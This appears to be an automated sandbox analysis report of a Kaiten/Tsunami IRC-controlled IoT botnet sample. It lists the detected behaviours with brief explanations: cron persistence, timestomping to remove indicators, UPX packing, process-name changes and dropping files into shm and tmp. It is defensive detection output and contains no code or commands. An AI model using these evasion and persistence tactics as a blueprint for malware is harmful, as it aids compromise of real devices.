Malware Config

Signatures

  • Family: Kaiten,Tsunami

    Linux-based IoT botnet which is controlled through IRC and normally used to carry out DDoS attacks.

  • Detects Kaiten/Tsunami Payload 1 IoCs
  • Creates/modifies Cron job 1 TTPs 5 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Indicator Removal: Timestomp 1 TTPs 10 IoCs

    Adversaries may remove indicators of compromise from the host to evade detection.

  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to shm directory 1 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.
